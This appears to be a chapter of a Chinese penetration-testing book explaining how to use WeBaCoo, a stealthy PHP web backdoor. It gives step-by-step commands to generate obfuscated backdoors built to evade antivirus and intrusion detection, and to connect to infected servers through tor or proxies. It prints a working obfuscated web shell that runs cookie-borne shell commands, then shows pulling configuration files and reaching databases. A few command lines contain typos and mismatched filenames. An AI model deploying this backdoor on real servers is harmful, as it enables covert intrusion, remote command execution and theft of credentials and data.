- 網絡攻防實戰研究:漏洞利用與提權
- 祝烈煌
- 1540字
- 2019-11-18 15:09:26
1.5 PHP WeBaCoo后門
WeBaCoo(Web Backdoor Cookie)是一款隱蔽的腳本類Web后門工具,它借助HTTP協議在客戶端和Web服務器之間實現了執行代碼的網頁終端。WeBaCoo的設計理念是躲避AV、NIDS、IPS、網絡防火墻和應用防火墻的查殺,提供混淆和原始兩種后門代碼(原始代碼較難檢測)。WeBaCoo使用HTTP響應頭傳送命令執行的結果,Shell命令經Base64編碼后隱藏在Cookie頭中,是目前較為難得的一款PHP后門操控程序。其后門程序可以在Windows和Linux操作系統中使用,主程序采用Python語言編寫,用戶可以根據自身情況對其進行定制和修改。
1.5.1 簡介
WeBaCoo的最新版本為WeBaCoo 0.2.3,該程序在BT5及Kali平臺中默認配置,2012年以后作者已經停止更新。在Kali Linux平臺上,默認位于/usr/bin/目錄下,可執行程序為“webacoo”。
WeBaCoo的官方網站為https://bechtsoudis.com/archive/webacoo/index.html,下載地址為https://github.com/anestisb/WeBaCoo/zipball/master及http://bechtsoudis.com/data/tools/webacoo-latest.tar.gz。
Kali Linux直接獲取命令如下。
git clone git://github.com/anestisb/WeBaCoo.git
1.5.2 使用方法
1.操作模式
WeBaCoo有生成(Generation)和終端(Terminal)兩種模式。使用生成模式,指定“-g”選項,可以創建一個包含PHP有效載荷的后門代碼;使用遠程終端模式,指定“-t”選項,可以連接受感染的服務器(其中后門PHP代碼已被注入)。
2.使用生成模式
使用默認配置生成模糊后門代碼my_backdoor.php,命令如下。
webacoo.pl -g -o my_backdoor.php
使用exec有效載荷混淆后門代碼生成my_backdoor2.php文件,命令如下。
webacoo.pl -g -o my_backdoor2.php -f 3
使用popen有效載荷生成原始后門代碼raw_backdoor.php文件,命令如下。
webacoo.pl -g -o my_backdoor2.php -f 5-r
3.使用終端模式
使用默認設置“-u web_path”訪問服務器,命令如下。
webacoo.pl -t -u http://10.0.1.11/backdoor.php
將“Test-Cookie”作為Cookie名稱、“TtT”作為分隔符,訪問服務器,命令如下。
webacoo.pl -t -u http://10.0.1.11/backdoor.php -c "Test-Cookie" -d "TtT"
將“Test-Cookie2”作為Cookie名稱、“TtT”作為分隔符,使用代理服務器10.0.1.4:8080訪問服務器,命令如下。
webacoo.pl -t -u http://10.0.1.11/backdoor.php -c "Test-Cookie2" -d "TtTt" -p 10.0.1.4:8080
將“My-Cookie”作為Cookie名稱,使用tor代理網絡訪問后門,命令如下。
webacoo.pl -t -u http://example.com/backdoor.php -c "My-Cookie" -p tor
1.5.3 參數詳解
WeBaCoo的常用參數如下。
· Cm:以Base64編碼的Shell指令。
· Cn:加載編碼后輸出內容的Cookie名稱。
· Cp:封裝編碼后輸入內容的分割符。
· -f FUNCTION:使用PHP系統函數system、shell_exec、exec、passthru、popen。
· -g:制作后門代碼。
· -o:指定生成的后門程序文件名。
· -u URL:后門URL地址。
· -e CMD:單獨命令執行模式,需要加“-t”和“-u”參數。
· -m METHOD:使用HTTP方式,默認為“GET”。
· -c C_NAME:Cookie名字,默認為“M-cookie”。
· -d DELIM:分隔符(默認值:每個請求隨機)。
· -a AGENT HTTP:頭用戶代理(默認情況下存在)。
· -p PROXY:使用代理(tor, ip:port or user:pass:ip:port)。
· -v LEVEL:詳細級別。LEVEL值為0表示無附加信息,默認值為0; LEVEL值為1表示打印的HTTP頭;LEVEL值為2表示打印HTTP頭和數據。
· -l LOG:登錄活動文件。
· -h:顯示幫助文件并退出。
· update:檢查升級文件,如果有則升級。
使用load命令進行擴展,說明如下。
· mysql-cli:MySQL命令行模式。
· psql-cli:Postgres命令行模式。
· upload:使用HTTP的POST方法上傳文件。
· download:下載文件。
· stealth:通過.htaccess處理增加的隱形模塊。
1.5.4 使用實例
(1)生成后門
使用“webacoo-g-o backdoor.php”命令生成backpdoor.php后門文件,如圖1-44所示。

圖1-44 生成后門文件
(2)參考后門代碼文件內容
使用“cat backdoor.php”命令查看其內容,具體如下。
<? php $b=strrev("edoced_4"."6esab"); eval($b(str_replace(" ", "", "a W Y o a X N z Z X Q o J F 9 D T 0 9 L S U V b J 2 N t J 1 0 p K X t v Y l 9 z d G F y d C g p O 3 N 5 c 3 R l b S h i Y X N l N j R f Z G V j b 2 R l K C R f Q 0 9 P S 0 l F W y d j b S d d K S 4 n I D I + J j E n K T t z Z X R j b 2 9 r a W U o J F 9 D T 0 9 L S U V b J 2 N u J 1 0 s J F 9 D T 0 9 L S U V b J 2 N w J 1 0 u Y m F z Z T Y 0 X 2 V u Y 2 9 k Z S h v Y l 9 n Z X R f Y 2 9 u d G V u d H M o K S k u J F 9 D T 0 9 L S U V b J 2 N w J 1 0 p O 2 9 i X 2 V u Z F 9 j b G V h b i g p O 3 0 = "))); ? >
(3)連接后門
使用“webacoo-t-u http://www.antian365.com/backdoor.php”命令連接服務器,如圖1-45所示。連接成功后,可以執行Linux下的命令,例如pwd、id,如圖1-46所示。

圖1-45 連接后門所在服務器

圖1-46 執行命令
(4)下載文件
在當前狀態下執行load命令后,使用“download filename”命令下載文件,前提是服務器當前目錄中存在該文件。如圖1-47所示,執行“dowload config_inc.php”命令,直接將config_inc.php文件下載到本地,使用“cat config_inc.php”命令可以查看下載到本地的文件內容,如圖1-48所示。

圖1-47 下載文件

圖1-48 讀取下載的文件內容
(5)連接數據庫
使用“mysql-cli localhost root password”命令連接數據庫,可以對數據進行操作(在實際測試過程中未能成功)。
1.5.5 總結與思考
下面總結WeBaCoo的使用技巧。
·在Windows環境下需要對應函數的支持。WeBaCoo在Windows操作系統中需要PHP程序支持相應的函數,可以在php.ini文件中設置disable_functions,取消禁用函數exec、system、passthru、shell_exec,示例如下。
disable_functions =escapeshellarg, escapeshellcmd, proc_close, proc_open, dl, popen, show_source
·提供HTTPS代理支持。使用如下命令,配合Burp Site等工具實現。
webacoo -t -u https://example.com/https_test.php -p 127.0.0.1:8080 webacoo -t -u http://example.com/https_test.php -p 127.0.0.1:8080
·在非Ubantu環境下,需要liburi-perl、libio-socket-socks-perl組件的支持,否則會報錯,如圖1-49所示。

圖1-49 需要perl組件支持